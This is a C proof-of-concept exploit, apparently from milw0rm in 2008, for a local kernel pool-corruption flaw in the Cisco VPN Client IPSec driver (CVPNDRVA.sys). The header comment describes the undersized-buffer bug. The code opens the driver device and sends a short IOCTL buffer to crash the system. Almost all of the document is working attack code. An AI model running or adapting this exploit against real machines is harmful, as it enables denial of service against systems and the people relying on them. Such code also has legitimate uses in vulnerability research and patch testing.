76 lines
No EOL
1.9 KiB
C
76 lines
No EOL
1.9 KiB
C
/* cpndrv-dos.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC
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* by mu-b - Sat 11 Jan 2008
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*
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* - Tested on: CVPNDRVA.sys 5.0.02.0090
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*
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* specifying an input buffer size less-than 8+31-bytes results in the
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* local kernel non-paged pool (METHOD_BUFFERED) being corrupted with
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* uninitialised (dangling) kernel stack memory via an inline memcpy.
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*
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* Compile: MinGW + -lntdll
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <windows.h>
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#include <ddk/ntapi.h>
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#define CVPN_IOCTL 0x80002038
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#define CVPN_LEN 0x10 /* n < 8 + 31 */
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struct ioctl_req {
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char arg[CVPN_LEN];
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};
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int
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main (int argc, char **argv)
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{
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struct ioctl_req req;
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HANDLE hFile;
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BOOL result;
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DWORD rlen;
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printf ("Cisco VPN Client IPSec Driver local kernel system pool corruption PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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hFile = CreateFileA ("\\\\.\\CVPNDRVA", FILE_EXECUTE,
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FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
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OPEN_EXISTING, 0, NULL);
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if (hFile == INVALID_HANDLE_VALUE)
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{
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fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
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exit (EXIT_FAILURE);
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}
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memset (&req, 0x00, sizeof req);
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req.arg[0] = 0x69;
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/* corrupt the system pool */
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printf ("* hitting.. [sizeof: %d]\n", sizeof req);
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Sleep (5000);
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result = DeviceIoControl (hFile, CVPN_IOCTL,
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&req, sizeof req, &req, sizeof req, &rlen, 0);
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if (!result)
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{
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fprintf (stderr, "* DeviceIoControl failed\n");
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exit (EXIT_FAILURE);
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}
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printf ("done\n\n"
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"* hmmm, you didn't STOP the box?!?!\n");
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CloseHandle (hFile);
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2008-01-15]
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